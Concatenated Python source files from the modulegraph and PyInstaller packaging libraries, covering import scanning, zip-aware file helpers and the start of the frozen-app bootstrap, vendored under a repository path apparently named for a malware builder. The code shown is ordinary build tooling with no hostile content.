                            MissingModule, target_submodule_name)

                # Add this submodule to its package.
                target_module.add_submodule(
                    target_submodule_partname, target_submodule)
                if target_submodule is not None:
                    self._updateReference(
                        target_module, target_submodule, edge_data=edge_attr)
                    self._updateReference(
                        source_module, target_submodule, edge_data=edge_attr)

                    if target_submodule not in target_modules:
                        target_modules.append(target_submodule)

        # Return the list of all target modules imported by this call.
        return target_modules


    def _scan_code(
        self,
        module,
        module_code_object,
        module_code_object_ast=None):
        """
        Parse and add all import statements from the passed code object of the
        passed source module to this graph, recursively.

        **This method is at the root of all `ModuleGraph` recursion.**
        Recursion begins here and ends when all import statements in all code
        objects of all modules transitively imported by the source module
        passed to the first call to this method have been added to the graph.
        Specifically, this method:

        1. If the passed `module_code_object_ast` parameter is non-`None`,
           parses all import statements from this object.
        2. Else, parses all import statements from the passed
           `module_code_object` parameter.
        1. For each such import statement:
           1. Adds to this `ModuleGraph` instance:
              1. Nodes for all target modules of these imports.
              1. Directed edges from this source module to these target
                 modules.
           2. Recursively calls this method with these target modules.

        Parameters
        ----------
        module : Node
            Graph node of the module to be parsed.
        module_code_object : PyCodeObject
            Code object providing this module's disassembled Python bytecode.
            Ignored unless `module_code_object_ast` is `None`.
        module_code_object_ast : optional[ast.AST]
            Optional abstract syntax tree (AST) of this module if any or `None`
            otherwise. Defaults to `None`, in which case the passed
            `module_code_object` is parsed instead.
        Returns
        ----------
        module : Node
            Graph node of the module to be parsed.
        """

        # For safety, guard against multiple scans of the same module by
        # resetting this module's list of deferred target imports.
        module._deferred_imports = []

        # Parse all imports from this module *BEFORE* adding these imports to
        # the graph. If an AST is provided, parse that rather than this
        # module's code object.
        if module_code_object_ast is not None:
            # Parse this module's AST for imports.
            self._scan_ast(module, module_code_object_ast)

            # Parse this module's code object for all relevant non-imports
            # (e.g., global variable declarations and undeclarations).
            self._scan_bytecode(
                module, module_code_object, is_scanning_imports=False)
        # Else, parse this module's code object for imports.
        else:
            self._scan_bytecode(
                module, module_code_object, is_scanning_imports=True)

        return module

    def _scan_ast(self, module, module_code_object_ast):
        """
        Parse and add all import statements from the passed abstract syntax
        tree (AST) of the passed source module to this graph, non-recursively.

        Parameters
        ----------
        module : Node
            Graph node of the module to be parsed.
        module_code_object_ast : ast.AST
            Abstract syntax tree (AST) of this module to be parsed.
        """

        visitor = _Visitor(self, module)
        visitor.visit(module_code_object_ast)

    #FIXME: Optimize. Global attributes added by this method are tested by
    #other methods *ONLY* for packages, implying this method should scan and
    #handle opcodes pertaining to global attributes (e.g.,
    #"STORE_NAME", "DELETE_GLOBAL") only if the passed "module"
    #object is an instance of the "Package" class. For all other module types,
    #these opcodes should simply be ignored.
    #
    #After doing so, the "Node._global_attr_names" attribute and all methods
    #using this attribute (e.g., Node.is_global()) should be moved from the
    #"Node" superclass to the "Package" subclass.
    def _scan_bytecode(
        self, module, module_code_object, is_scanning_imports):
        """
        Parse and add all import statements from the passed code object of the
        passed source module to this graph, non-recursively.

        This method parses all reasonably parsable operations (i.e., operations
        that are both syntactically and semantically parsable _without_
        requiring Turing-complete interpretation) directly or indirectly
        involving module importation from this code object. This includes:

        * `IMPORT_NAME`, denoting an import statement. Ignored unless
          the passed `is_scanning_imports` parameter is `True`.
        * `STORE_NAME` and `STORE_GLOBAL`, denoting the
          declaration of a global attribute (e.g., class, variable) in this
          module. This method stores each such declaration for subsequent
          lookup. While global attributes are usually irrelevant to import
          parsing, they remain the only means of distinguishing erroneous
          non-ignorable attempts to import non-existent submodules of a package
          from successful ignorable attempts to import existing global
          attributes of a package's `__init__` submodule (e.g., the `bar` in
          `from foo import bar`, which is either a non-ignorable submodule of
          `foo` or an ignorable global attribute of `foo.__init__`).
        * `DELETE_NAME` and `DELETE_GLOBAL`, denoting the
          undeclaration of a previously declared global attribute in this
          module.

        Since `ModuleGraph` is _not_ intended to replicate the behaviour of a
        full-featured Turing-complete Python interpreter, this method ignores
        operations that are _not_ reasonably parsable from this code object --
        even those directly or indirectly involving module importation. This
        includes:

        * `STORE_ATTR(namei)`, implementing `TOS.name = TOS1`. If `TOS` is the
          name of a target module currently imported into the namespace of the
          passed source module, this opcode would ideally be parsed to add that
          global attribute to that target module. Since this addition only
          conditionally occurs on the importation of this source module and
          execution of the code branch in this module performing this addition,
          however, that global _cannot_ be unconditionally added to that target
          module. In short, only Turing-complete behaviour suffices.
        * `DELETE_ATTR(namei)`, implementing `del TOS.name`. If `TOS` is the
          name of a target module currently imported into the namespace of the
          passed source module, this opcode would ideally be parsed to remove
          that global attribute from that target module. Again, however, only
          Turing-complete behaviour suffices.

        Parameters
        ----------
        module : Node
            Graph node of the module to be parsed.
        module_code_object : PyCodeObject
            Code object of the module to be parsed.
        is_scanning_imports : bool
            `True` only if this method is parsing import statements from
            `IMPORT_NAME` opcodes. If `False`, no import statements will be
            parsed. This parameter is typically:
            * `True` when parsing this module's code object for such imports.
            * `False` when parsing this module's abstract syntax tree (AST)
              (rather than code object) for such imports. In this case, that
              parsing will have already parsed import statements, which this
              parsing must avoid repeating.
        """
        level = None
        fromlist = None

        # 'deque' is a list-like container with fast appends, pops on
        # either end, and automatically discarding elements too much.
        prev_insts = deque(maxlen=2)
        for inst in util.iterate_instructions(module_code_object):
            if not inst:
                continue
            # If this is an import statement originating from this module,
            # parse this import.
            #
            # Note that the related "IMPORT_FROM" opcode need *NOT* be parsed.
            # "IMPORT_NAME" suffices. For further details, see
            #     http://probablyprogramming.com/2008/04/14/python-import_name
            if inst.opname == 'IMPORT_NAME':
                # If this method is ignoring import statements, skip to the
                # next opcode.
                if not is_scanning_imports:
                    continue

                assert prev_insts[-2].opname == 'LOAD_CONST'
                assert prev_insts[-1].opname == 'LOAD_CONST'

                # Python >=2.5: LOAD_CONST flags, LOAD_CONST names, IMPORT_NAME name
                level = prev_insts[-2].argval
                fromlist = prev_insts[-1].argval

                assert fromlist is None or type(fromlist) is tuple
                target_module_partname = inst.argval

                #FIXME: The exact same logic appears in _collect_import(),
                #which isn't particularly helpful. Instead, defer this logic
                #until later by:
                #
                #* Refactor the "_deferred_imports" list to contain 2-tuples
                #  "(_safe_import_hook_args, _safe_import_hook_kwargs)" rather
                #  than 3-tuples "(have_star, _safe_import_hook_args,
                #  _safe_import_hook_kwargs)".
                #* Stop prepending these tuples by a "have_star" boolean both
                #  here, in _collect_import(), and in _process_imports().
                #* Shift the logic below to _process_imports().
                #* Remove the same logic from _collect_import().
                have_star = False
                if fromlist is not None:
                    fromlist = uniq(fromlist)
                    if '*' in fromlist:
                        fromlist.remove('*')
                        have_star = True

                # Record this import as originating from this module for
                # subsequent handling by the _process_imports() method.
                module._deferred_imports.append((
                    have_star,
                    (target_module_partname, module, fromlist, level),
                    {}
                ))

            elif inst.opname in ('STORE_NAME', 'STORE_GLOBAL'):
                # If this is the declaration of a global attribute (e.g.,
                # class, variable) in this module, store this declaration for
                # subsequent lookup. See method docstring for further details.
                #
                # Global attributes are usually irrelevant to import parsing, but
                # remain the only means of distinguishing erroneous non-ignorable
                # attempts to import non-existent submodules of a package from
                # successful ignorable attempts to import existing global
                # attributes of a package's "__init__" submodule (e.g., the "bar"
                # in "from foo import bar", which is either a non-ignorable
                # submodule of "foo" or an ignorable global attribute of
                # "foo.__init__").
                name = inst.argval
                module.add_global_attr(name)

            elif inst.opname in ('DELETE_NAME', 'DELETE_GLOBAL'):
                # If this is the undeclaration of a previously declared global
                # attribute (e.g., class, variable) in this module, remove that
                # declaration to prevent subsequent lookup. See method docstring
                # for further details.
                name = inst.argval
                module.remove_global_attr_if_found(name)

            prev_insts.append(inst)


    def _process_imports(self, source_module):
        """
        Graph all target modules whose importations were previously parsed from
        the passed source module by a prior call to the `_scan_code()` method
        and methods call by that method (e.g., `_scan_ast()`,
        `_scan_bytecode()`, `_scan_bytecode_stores()`).

        Parameters
        ----------
        source_module : Node
            Graph node of the source module to graph target imports for.
        """

        # If this source module imported no target modules, noop.
        if not source_module._deferred_imports:
            return

        # For each target module imported by this source module...
        for have_star, import_info, kwargs in source_module._deferred_imports:
            # Graph node of the target module specified by the "from" portion
            # of this "from"-style star import (e.g., an import resembling
            # "from {target_module_name} import *") or ignored otherwise.
            target_modules = self._safe_import_hook(*import_info, **kwargs)
            if not target_modules:
                # If _safe_import_hook suppressed the module, quietly drop it.
                # Do not create an ExcludedModule instance, because that might
                # completely suppress the module whereas it might need to be
                # included due to reference from another module (that does
                # not exclude it via hook).
                continue
            target_module = target_modules[0]

            # If this is a "from"-style star import, process this import.
            if have_star:
                #FIXME: Sadly, the current approach to importing attributes
                #from "from"-style star imports is... simplistic. This should
                #be revised as follows. If this target module is:
                #
                #* A package:
                #  * Whose "__init__" submodule defines the "__all__" global
                #    attribute, only attributes listed by this attribute should
                #    be imported.
                #  * Else, *NO* attributes should be imported.
                #* A non-package:
                #  * Defining the "__all__" global attribute, only attributes
                #    listed by this attribute should be imported.
                #  * Else, only public attributes whose names are *NOT*
                #    prefixed by "_" should be imported.
                source_module.add_global_attrs_from_module(target_module)

                source_module._starimported_ignored_module_names.update(
                    target_module._starimported_ignored_module_names)

                # If this target module has no code object and hence is
                # unparsable, record its name for posterity.
                if target_module.code is None:
                    target_module_name = import_info[0]
                    source_module._starimported_ignored_module_names.add(
                        target_module_name)

        # For safety, prevent these imports from being reprocessed.
        source_module._deferred_imports = None


    def _find_module(self, name, path, parent=None):
        """
        3-tuple describing the physical location of the module with the passed
        name if this module is physically findable _or_ raise `ImportError`.

        This high-level method wraps the low-level `modulegraph.find_module()`
        function with additional support for graph-based module caching.

        Parameters
        ----------
        name : str
            Fully-qualified name of the Python module to be found.
        path : list
            List of the absolute paths of all directories to search for this
            module _or_ `None` if the default path list `self.path` is to be
            searched.
        parent : Node
            Package containing this module if this module is a submodule of a
            package _or_ `None` if this is a top-level module.

        Returns
        ----------
        (filename, loader)
            See `modulegraph._find_module()` for details.

        Raises
        ----------
        ImportError
            If this module is _not_ found.
        """

        if parent is not None:
            # assert path is not None
            fullname = parent.identifier + '.' + name
        else:
            fullname = name

        node = self.find_node(fullname)
        if node is not None:
            self.msg(3, "find_module: already included?", node)
            raise ImportError(name)

        if path is None:
            if name in sys.builtin_module_names:
                return (None, BUILTIN_MODULE)

            path = self.path

        return self._find_module_path(fullname, name, path)


    def _find_module_path(self, fullname, module_name, search_dirs):
        """
        3-tuple describing the physical location of the module with the passed
        name if this module is physically findable _or_ raise `ImportError`.

        This low-level function is a variant on the standard `imp.find_module()`
        function with additional support for:

        * Multiple search paths. The passed list of absolute paths will be
          iteratively searched for the first directory containing a file
          corresponding to this module.
        * Compressed (e.g., zipped) packages.

        For efficiency, the higher level `ModuleGraph._find_module()` method
        wraps this function with support for module caching.

        Parameters
        ----------
        module_name : str
            Fully-qualified name of the module to be found.
        search_dirs : list
            List of the absolute paths of all directories to search for this
            module (in order). Searching will halt at the first directory
            containing this module.

        Returns
        ----------
        (filename, loader)
            2-tuple describing the physical location of this module, where:
            * `filename` is the absolute path of this file.
            * `loader` is the import loader.
              In case of a namespace package, this is a NAMESPACE_PACKAGE
              instance

        Raises
        ----------
        ImportError
            If this module is _not_ found.
        """
        self.msgin(4, "_find_module_path <-", fullname, search_dirs)

        # Top-level 2-tuple to be returned.
        path_data = None

        # List of the absolute paths of all directories comprising the
        # namespace package to which this module belongs if any.
        namespace_dirs = []

        try:
            for search_dir in search_dirs:
                # PEP 302-compliant importer making loaders for this directory.
                importer = pkgutil.get_importer(search_dir)

                # If this directory is not importable, continue.
                if importer is None:
                    # self.msg(4, "_find_module_path importer not found", search_dir)
                    continue

                # Get the PEP 302-compliant loader object loading this module.
                #
                # If this importer defines the PEP 451-compliant find_spec()
                # method, use that, and obtain loader from spec. This should
                # be available on python >= 3.4.
                if hasattr(importer, 'find_spec'):
                    loader = None
                    spec = importer.find_spec(module_name)
                    if spec is not None:
                        loader = spec.loader
                        namespace_dirs.extend(spec.submodule_search_locations or [])
                # Else if this importer defines the PEP 302-compliant find_loader()
                # method, use that.
                elif hasattr(importer, 'find_loader'):
                    loader, loader_namespace_dirs = importer.find_loader(
                        module_name)
                    namespace_dirs.extend(loader_namespace_dirs)
                # Else if this importer defines the Python 2-specific
                # find_module() method, fall back to that. Despite the method
                # name, this method returns a loader rather than a module.
                elif hasattr(importer, 'find_module'):
                    loader = importer.find_module(module_name)
                # Else, raise an exception.
                else:
                    raise ImportError(
                        "Module %r importer %r loader unobtainable" % (module_name, importer))

                # If this module is not loadable from this directory, continue.
                if loader is None:
                    # self.msg(4, "_find_module_path loader not found", search_dir)
                    continue

                # Absolute path of this module. If this module resides in a
                # compressed archive, this is the absolute path of this module
                # after extracting this module from that archive and hence
                # should not exist; else, this path should typically exist.
                pathname = None

                # If this loader defines the PEP 302-compliant get_filename()
                # method, preferably call that method first. Most if not all
                # loaders (including zipimporter objects) define this method.
                if hasattr(loader, 'get_filename'):
                    pathname = loader.get_filename(module_name)
                # Else if this loader provides a "path" attribute, defer to that.
                elif hasattr(loader, 'path'):
                    pathname = loader.path
                # Else, raise an exception.
                else:
                    raise ImportError(
                        "Module %r loader %r path unobtainable" % (module_name, loader))

                # If no path was found, this is probably a namespace package. In
                # such case, continue collecting namespace directories.
                if pathname is None:
                    self.msg(4, "_find_module_path path not found", pathname)
                    continue

                # Return such metadata.
                path_data = (pathname, loader)
                break
            # Else if this is a namespace package, return such metadata.
            else:
                if namespace_dirs:
                    path_data = (namespace_dirs[0],
                                 NAMESPACE_PACKAGE(namespace_dirs))
        except UnicodeDecodeError as exc:
            self.msgout(1, "_find_module_path -> unicode error", exc)
        # Ensure that exceptions are logged, as this function is typically
        # called by the import_module() method which squelches ImportErrors.
        except Exception as exc:
            self.msgout(4, "_find_module_path -> exception", exc)
            raise

        # If this module was not found, raise an exception.
        self.msgout(4, "_find_module_path ->", path_data)
        if path_data is None:
            raise ImportError("No module named " + repr(module_name))

        return path_data


    def create_xref(self, out=None):
        global header, footer, entry, contpl, contpl_linked, imports
        if out is None:
            out = sys.stdout
        scripts = []
        mods = []
        for mod in self.iter_graph():
            name = os.path.basename(mod.identifier)
            if isinstance(mod, Script):
                scripts.append((name, mod))
            else:
                mods.append((name, mod))
        scripts.sort()
        mods.sort()
        scriptnames = [sn for sn, m in scripts]
        scripts.extend(mods)
        mods = scripts

        title = "modulegraph cross reference for " + ', '.join(scriptnames)
        print(header % {"TITLE": title}, file=out)

        def sorted_namelist(mods):
            lst = [os.path.basename(mod.identifier) for mod in mods if mod]
            lst.sort()
            return lst
        for name, m in mods:
            content = ""
            if isinstance(m, BuiltinModule):
                content = contpl % {"NAME": name,
                                    "TYPE": "<i>(builtin module)</i>"}
            elif isinstance(m, Extension):
                content = contpl % {"NAME": name,
                                    "TYPE": "<tt>%s</tt>" % m.filename}
            else:
                url = pathname2url(m.filename or "")
                content = contpl_linked % {"NAME": name, "URL": url,
                                           'TYPE': m.__class__.__name__}
            oute, ince = map(sorted_namelist, self.get_edges(m))
            if oute:
                links = []
                for n in oute:
                    links.append("""  <a href="#%s">%s</a>\n""" % (n, n))
                # #8226 = bullet-point; can't use html-entities since the
                # test-suite uses xml.etree.ElementTree.XMLParser, which
                # does't supprot them.
                links = " &#8226; ".join(links)
                content += imports % {"HEAD": "imports", "LINKS": links}
            if ince:
                links = []
                for n in ince:
                    links.append("""  <a href="#%s">%s</a>\n""" % (n, n))
                # #8226 = bullet-point; can't use html-entities since the
                # test-suite uses xml.etree.ElementTree.XMLParser, which
                # does't supprot them.
                links = " &#8226; ".join(links)
                content += imports % {"HEAD": "imported by", "LINKS": links}
            print(entry % {"NAME": name, "CONTENT": content}, file=out)
        print(footer, file=out)

    def itergraphreport(self, name='G', flatpackages=()):
        # XXX: Can this be implemented using Dot()?
        nodes = list(map(self.graph.describe_node, self.graph.iterdfs(self)))
        describe_edge = self.graph.describe_edge
        edges = deque()
        packagenodes = set()
        packageidents = {}
        nodetoident = {}
        inpackages = {}
        mainedges = set()

        # XXX - implement
        flatpackages = dict(flatpackages)

        def nodevisitor(node, data, outgoing, incoming):
            if not isinstance(data, Node):
                return {'label': str(node)}
            #if isinstance(d, (ExcludedModule, MissingModule, BadModule)):
            #    return None
            s = '<f0> ' + type(data).__name__
            for i, v in enumerate(data.infoTuple()[:1], 1):
                s += '| <f%d> %s' % (i, v)
            return {'label': s, 'shape': 'record'}


        def edgevisitor(edge, data, head, tail):
            # XXX: This method nonsense, the edge
            # data is never initialized.
            if data == 'orphan':
                return {'style': 'dashed'}
            elif data == 'pkgref':
                return {'style': 'dotted'}
            return {}

        yield 'digraph %s {\ncharset="UTF-8";\n' % (name,)
        attr = dict(rankdir='LR', concentrate='true')
        cpatt = '%s="%s"'
        for item in attr.items():
            yield '\t%s;\n' % (cpatt % item,)

        # find all packages (subgraphs)
        for (node, data, outgoing, incoming) in nodes:
            nodetoident[node] = getattr(data, 'identifier', None)
            if isinstance(data, Package):
                packageidents[data.identifier] = node
                inpackages[node] = set([node])
                packagenodes.add(node)

        # create sets for subgraph, write out descriptions
        for (node, data, outgoing, incoming) in nodes:
            # update edges
            for edge in (describe_edge(e) for e in outgoing):
                edges.append(edge)

            # describe node
            yield '\t"%s" [%s];\n' % (
                node,
                ','.join([
                    (cpatt % item) for item in
                    nodevisitor(node, data, outgoing, incoming).items()
                ]),
            )

            inside = inpackages.get(node)
            if inside is None:
                inside = inpackages[node] = set()
            ident = nodetoident[node]
            if ident is None:
                continue
            pkgnode = packageidents.get(ident[:ident.rfind('.')])
            if pkgnode is not None:
                inside.add(pkgnode)

        graph = []
        subgraphs = {}
        for key in packagenodes:
            subgraphs[key] = []

        while edges:
            edge, data, head, tail = edges.popleft()
            if ((head, tail)) in mainedges:
                continue
            mainedges.add((head, tail))
            tailpkgs = inpackages[tail]
            common = inpackages[head] & tailpkgs
            if not common and tailpkgs:
                usepkgs = sorted(tailpkgs)
                if len(usepkgs) != 1 or usepkgs[0] != tail:
                    edges.append((edge, data, head, usepkgs[0]))
                    edges.append((edge, 'pkgref', usepkgs[-1], tail))
                    continue
            if common:
                common = common.pop()
                if tail == common:
                    edges.append((edge, data, tail, head))
                elif head == common:
                    subgraphs[common].append((edge, 'pkgref', head, tail))
                else:
                    edges.append((edge, data, common, head))
                    edges.append((edge, data, common, tail))

            else:
                graph.append((edge, data, head, tail))

        def do_graph(edges, tabs):
            edgestr = tabs + '"%s" -> "%s" [%s];\n'
            # describe edge
            for (edge, data, head, tail) in edges:
                attribs = edgevisitor(edge, data, head, tail)
                yield edgestr % (
                    head,
                    tail,
                    ','.join([(cpatt % item) for item in attribs.items()]),
                )

        for g, edges in subgraphs.items():
            yield '\tsubgraph "cluster_%s" {\n' % (g,)
            yield '\t\tlabel="%s";\n' % (nodetoident[g],)
            for s in do_graph(edges, '\t\t'):
                yield s
            yield '\t}\n'

        for s in do_graph(graph, '\t'):
            yield s

        yield '}\n'

    def graphreport(self, fileobj=None, flatpackages=()):
        if fileobj is None:
            fileobj = sys.stdout
        fileobj.writelines(self.itergraphreport(flatpackages=flatpackages))

    def report(self):
        """Print a report to stdout, listing the found modules with their
        paths, as well as modules that are missing, or seem to be missing.
        """
        print()
        print("%-15s %-25s %s" % ("Class", "Name", "File"))
        print("%-15s %-25s %s" % ("-----", "----", "----"))
        for m in sorted(self.iter_graph(), key=lambda n: n.identifier):
            print("%-15s %-25s %s" % (type(m).__name__, m.identifier, m.filename or ""))

    def _replace_paths_in_code(self, co):
        new_filename = original_filename = os.path.normpath(co.co_filename)
        for f, r in self.replace_paths:
            f = os.path.join(f, '')
            r = os.path.join(r, '')
            if original_filename.startswith(f):
                new_filename = r + original_filename[len(f):]
                break

        else:
            return co

        consts = list(co.co_consts)
        for i in range(len(consts)):
            if isinstance(consts[i], type(co)):
                consts[i] = self._replace_paths_in_code(consts[i])

        code_func = type(co)

        return co.replace(co_consts=tuple(consts),
                          co_filename=new_filename)

ThiefCat_assets/MwlareBuilder/lib/modulegraph/modulegraph.py
KSCH-58/Thief-Cat
import sys
import re
import inspect
import importlib.util

from ._compat import get_instructions


cookie_re = re.compile(br"coding[:=]\s*([-\w.]+)")
if sys.version_info[0] == 2:
    default_encoding = 'ascii'
else:
    default_encoding = 'utf-8'


def guess_encoding(fp):

    for i in range(2):
        ln = fp.readline()

        m = cookie_re.search(ln)
        if m is not None:
            return m.group(1).decode('ascii')

    return default_encoding


def iterate_instructions(code_object):
    """Delivers the byte-code instructions as a continuous stream.

    Yields `dis.Instruction`. After each code-block (`co_code`), `None` is
    yielded to mark the end of the block and to interrupt the steam.
    """
    # The arg extension the EXTENDED_ARG opcode represents is automatically handled by get_instructions() but the
    # instruction is left in. Get rid of it to make subsequent parsing easier/safer.
    yield from (i for i in get_instructions(code_object) if i.opname != "EXTENDED_ARG")

    yield None

    # For each constant in this code object that is itself a code object,
    # parse this constant in the same manner.
    for constant in code_object.co_consts:
        if inspect.iscode(constant):
            yield from iterate_instructions(constant)

ThiefCat_assets/MwlareBuilder/lib/modulegraph/util.py
KSCH-58/Thief-Cat
"""
A helper module that can work with paths
that can refer to data inside a zipfile

XXX: Need to determine if isdir("zipfile.zip")
should return True or False. Currently returns
True, but that might do the wrong thing with
data-files that are zipfiles.
"""
import os as _os
import zipfile as _zipfile
import errno as _errno
import time as _time
import sys as _sys
import stat as _stat

_DFLT_DIR_MODE = (
    _stat.S_IXOTH
    | _stat.S_IXGRP
    | _stat.S_IXUSR
    | _stat.S_IROTH
    | _stat.S_IRGRP
    | _stat.S_IRUSR)

_DFLT_FILE_MODE = (
    _stat.S_IROTH
    | _stat.S_IRGRP
    | _stat.S_IRUSR)


if _sys.version_info[0] == 2:
    from StringIO import StringIO as _BaseStringIO
    from StringIO import StringIO as _BaseBytesIO

    class _StringIO (_BaseStringIO):
        def __enter__(self):
            return self

        def __exit__(self, exc_type, exc_value, traceback):
            self.close()
            return False

    class _BytesIO (_BaseBytesIO):
        def __enter__(self):
            return self

        def __exit__(self, exc_type, exc_value, traceback):
            self.close()
            return False

else:
    from io import StringIO as _StringIO
    from io import BytesIO as _BytesIO


def _locate(path):
    full_path = path
    if _os.path.exists(path):
        return path, None

    else:
        rest = []
        root = _os.path.splitdrive(path)
        while path and path != root:
            path, bn = _os.path.split(path)
            rest.append(bn)
            if _os.path.exists(path):
                break

        if path == root:
            raise IOError(
                _errno.ENOENT, full_path,
                "No such file or directory")

        if not _os.path.isfile(path):
            raise IOError(
                _errno.ENOENT, full_path,
                "No such file or directory")

        rest.reverse()
        return path, '/'.join(rest).strip('/')


_open = open


def open(path, mode='r'):
    if 'w' in mode or 'a' in mode:
        raise IOError(
            _errno.EINVAL, path, "Write access not supported")
    elif 'r+' in mode:
        raise IOError(
            _errno.EINVAL, path, "Write access not supported")

    full_path = path
    path, rest = _locate(path)
    if not rest:
        return _open(path, mode)

    else:
        try:
            zf = _zipfile.ZipFile(path, 'r')

        except _zipfile.BadZipFile:
            raise IOError(
                _errno.ENOENT, full_path,
                "No such file or directory")

        try:
            data = zf.read(rest)
        except (_zipfile.BadZipFile, KeyError):
            zf.close()
            raise IOError(
                _errno.ENOENT, full_path,
                "No such file or directory")
        zf.close()

        if mode == 'rb':
            return _BytesIO(data)

        else:
            if _sys.version_info[0] == 3:
                data = data.decode('ascii')

            return _StringIO(data)


def listdir(path):
    full_path = path
    path, rest = _locate(path)
    if not rest and not _os.path.isfile(path):
        return _os.listdir(path)

    else:
        try:
            zf = _zipfile.ZipFile(path, 'r')

        except _zipfile.BadZipFile:
            raise IOError(
                _errno.ENOENT, full_path,
                "No such file or directory")

        result = set()
        seen = False
        try:
            for nm in zf.namelist():
                if rest is None:
                    seen = True
                    value = nm.split('/')[0]
                    if value:
                        result.add(value)

                elif nm.startswith(rest):
                    if nm == rest:
                        seen = True
                        value = ''
                        pass
                    elif nm[len(rest)] == '/':
                        seen = True
                        value = nm[len(rest)+1:].split('/')[0]
                    else:
                        value = None

                    if value:
                        result.add(value)
        except _zipfile.BadZipFile:
            zf.close()
            raise IOError(
                _errno.ENOENT, full_path,
                "No such file or directory")

        zf.close()

        if not seen:
            raise IOError(
                _errno.ENOENT, full_path,
                "No such file or directory")

        return list(result)


def isfile(path):
    full_path = path
    path, rest = _locate(path)
    if not rest:
        ok = _os.path.isfile(path)
        if ok:
            try:
                zf = _zipfile.ZipFile(path, 'r')
                return False
            except (_zipfile.BadZipFile, IOError):
                return True
        return False

    zf = None
    try:
        zf = _zipfile.ZipFile(path, 'r')
        zf.getinfo(rest)
        zf.close()
        return True
    except (KeyError, _zipfile.BadZipFile):
        if zf is not None:
            zf.close()

        # Check if this is a directory
        try:
            zf.getinfo(rest + '/')
        except KeyError:
            pass
        else:
            return False

        rest = rest + '/'
        for nm in zf.namelist():
            if nm.startswith(rest):
                # Directory
                return False

        # No trace in zipfile
        raise IOError(
            _errno.ENOENT, full_path,
            "No such file or directory")


def isdir(path):
    full_path = path
    path, rest = _locate(path)
    if not rest:
        ok = _os.path.isdir(path)
        if not ok:
            try:
                zf = _zipfile.ZipFile(path, 'r')
            except (_zipfile.BadZipFile, IOError):
                return False
            return True
        return True

    zf = None
    try:
        try:
            zf = _zipfile.ZipFile(path)
        except _zipfile.BadZipFile:
            raise IOError(
                _errno.ENOENT, full_path,
                "No such file or directory")

        try:
            zf.getinfo(rest)
        except KeyError:
            pass
        else:
            # File found
            return False

        rest = rest + '/'
        try:
            zf.getinfo(rest)
        except KeyError:
            pass
        else:
            # Directory entry found
            return True

        for nm in zf.namelist():
            if nm.startswith(rest):
                return True

        raise IOError(
            _errno.ENOENT, full_path,
            "No such file or directory")
    finally:
        if zf is not None:
            zf.close()


def islink(path):
    full_path = path
    path, rest = _locate(path)
    if not rest:
        return _os.path.islink(path)

    try:
        zf = _zipfile.ZipFile(path)
    except _zipfile.BadZipFile:
        raise IOError(
            _errno.ENOENT, full_path,
            "No such file or directory")
    try:
        try:
            zf.getinfo(rest)
        except KeyError:
            pass
        else:
            # File
            return False

        rest += '/'
        try:
            zf.getinfo(rest)
        except KeyError:
            pass
        else:
            # Directory
            return False

        for nm in zf.namelist():
            if nm.startswith(rest):
                # Directory without listing
                return False

        raise IOError(
            _errno.ENOENT, full_path,
            "No such file or directory")

    finally:
        zf.close()


def readlink(path):
    full_path = path
    path, rest = _locate(path)
    if rest:
        # No symlinks inside zipfiles
        raise OSError(
            _errno.ENOENT, full_path,
            "No such file or directory")

    return _os.readlink(path)


def getmode(path):
    full_path = path
    path, rest = _locate(path)
    if not rest:
        return _stat.S_IMODE(_os.stat(path).st_mode)

    zf = None
    try:
        zf = _zipfile.ZipFile(path)
        info = None

        try:
            info = zf.getinfo(rest)
        except KeyError:
            pass

        if info is None:
            try:
                info = zf.getinfo(rest + '/')
            except KeyError:
                pass

        if info is None:
            rest = rest + '/'
            for nm in zf.namelist():
                if nm.startswith(rest):
                    break
            else:
                raise IOError(
                    _errno.ENOENT, full_path,
                    "No such file or directory")

            # Directory exists, but has no entry of its own.
            return _DFLT_DIR_MODE

        # The mode is stored without file-type in external_attr.
        if (info.external_attr >> 16) != 0:
            return _stat.S_IMODE(info.external_attr >> 16)
        else:
            return _DFLT_FILE_MODE

    finally:
        if zf is not None:
            zf.close()


def getmtime(path):
    full_path = path
    path, rest = _locate(path)
    if not rest:
        return _os.path.getmtime(path)

    zf = None
    try:
        zf = _zipfile.ZipFile(path)
        info = None

        try:
            info = zf.getinfo(rest)
        except KeyError:
            pass

        if info is None:
            try:
                info = zf.getinfo(rest + '/')
            except KeyError:
                pass

        if info is None:
            rest = rest + '/'
            for nm in zf.namelist():
                if nm.startswith(rest):
                    break
            else:
                raise IOError(
                    _errno.ENOENT, full_path,
                    "No such file or directory")

            # Directory exists, but has no entry of its
            # own, fake mtime by using the timestamp of
            # the zipfile itself.
            return _os.path.getmtime(path)

        return _time.mktime(info.date_time + (0, 0, -1))

    finally:
        if zf is not None:
            zf.close()

ThiefCat_assets/MwlareBuilder/lib/modulegraph/zipio.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2005-2023, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License (version 2
# or later) with exception for distributing the bootloader.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception)
#-----------------------------------------------------------------------------

#-- Start bootstrap process
# Only python built-in modules can be used.

import sys

import pyimod02_importers

# Extend Python import machinery by adding PEP302 importers to sys.meta_path.
pyimod02_importers.install()

#-- Bootstrap process is complete.
# We can use other python modules (e.g. os)

import os  # noqa: E402

# Let other python modules know that the code is running in frozen mode.
if not hasattr(sys, 'frozen'):
    sys.frozen = True

# sys._MEIPASS is now set in the bootloader. Hooray.

# Python 3 C-API function Py_SetPath() resets sys.prefix to empty string. Python 2 was using PYTHONHOME for sys.prefix.
# Let's do the same for Python 3.
sys.prefix = sys._MEIPASS
sys.exec_prefix = sys.prefix

# Python 3.3+ defines also sys.base_prefix. Let's set them too.
sys.base_prefix = sys.prefix
sys.base_exec_prefix = sys.exec_prefix

# Some packages behave differently when running inside virtual environment. E.g., IPython tries to append path
# VIRTUAL_ENV to sys.path. For the frozen app we want to prevent this behavior.
VIRTENV = 'VIRTUAL_ENV'
if VIRTENV in os.environ:
    # On some platforms (e.g., AIX) 'os.unsetenv()' is unavailable and deleting the var from os.environ does not
    # delete it from the environment.
    os.environ[VIRTENV] = ''
    del os.environ[VIRTENV]

# Ensure sys.path contains absolute paths. Otherwise, import of other python modules will fail when current working
# directory is changed by the frozen application.
python_path = []
for pth in sys.path:
    python_path.append(os.path.abspath(pth))
    sys.path = python_path

# At least on Windows, Python seems to hook up the codecs on this import, so it is not enough to just package up all
# the encodings.
#
# It was also reported that without 'encodings' module, the frozen executable fails to load in some configurations:
